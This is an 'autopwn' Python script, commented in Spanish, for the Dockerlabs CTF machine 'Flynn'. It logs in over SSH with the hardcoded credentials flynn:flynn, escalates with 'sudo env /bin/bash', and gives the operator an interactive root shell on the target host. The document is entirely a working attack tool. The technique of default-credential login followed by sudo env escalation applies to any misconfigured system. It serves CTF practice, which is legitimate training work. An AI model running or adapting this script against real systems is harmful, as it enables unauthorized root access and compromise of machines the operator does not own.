Autopwn para CTF Flynn - Dockerlabs

#!/usr/bin/env python3
"""
Autopwn - SSH flynn:flynn + sudo env /bin/bash → root
Uso: python3 autopwn.py <IP>
"""

import sys
import time
import paramiko

# ==================== CONFIGURACIÓN ====================
USERNAME = "flynn"
PASSWORD = "flynn"
SSH_PORT = 22
PRIVESC_CMD = "sudo env /bin/bash"


def log(msg, level="*"):
    symbols = {"*": "[*]", "+": "[+]", "-": "[-]"}
    print(f"{symbols.get(level, '[*]')} {msg}", flush=True)


def main():
    if len(sys.argv) < 2:
        print(f"Uso: {sys.argv[0]} <IP>")
        sys.exit(1)

    host = sys.argv[1]
    print("=" * 55)
    print(f"  AUTOPWN - {host}")
    print(f"  Usuario: {USERNAME} | Escalada: {PRIVESC_CMD}")
    print("=" * 55)

    # 1. Conexión SSH
    log(f"Conectando a {host}:{SSH_PORT}...")
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        client.connect(host, port=SSH_PORT, username=USERNAME,
                       password=PASSWORD, timeout=15,
                       allow_agent=False, look_for_keys=False)
        log("Conexión SSH establecida", "+")
    except paramiko.AuthenticationException:
        log("Autenticación fallida (usuario/contraseña incorrectos)", "-")
        sys.exit(1)
    except Exception as e:
        log(f"Error de conexión: {e}", "-")
        sys.exit(1)

    # 2. Verificar usuario actual
    _, out, _ = client.exec_command("id")
    log(f"Usuario actual: {out.read().decode().strip()}")

    # 3. Abrir shell interactiva como root
    log("Abriendo shell como root...")
    shell = client.invoke_shell()
    time.sleep(1)

    # Enviar el comando de escalada
    shell.send(f"{PRIVESC_CMD}\n")
    time.sleep(2)

    # Leer salida inicial
    while shell.recv_ready():
        print(shell.recv(65535).decode(errors="replace"), end="")

    log("Escribe comandos. 'exit' para salir.", "+")
    print("-" * 55)

    # 4. Bucle interactivo
    try:
        while True:
            cmd = input()
            if cmd.strip().lower() in ("exit", "quit"):
                break
            shell.send(cmd + "\n")
            time.sleep(0.4)
            while shell.recv_ready():
                print(shell.recv(65535).decode(errors="replace"), end="")
    except (KeyboardInterrupt, EOFError):
        pass
    finally:
        shell.close()
        client.close()
        log("Conexión cerrada", "+")


if __name__ == "__main__":
    try:
        import paramiko
    except ImportError:
        print("[-] Falta paramiko. Instálalo con: pip install paramiko")
        sys.exit(1)

    main()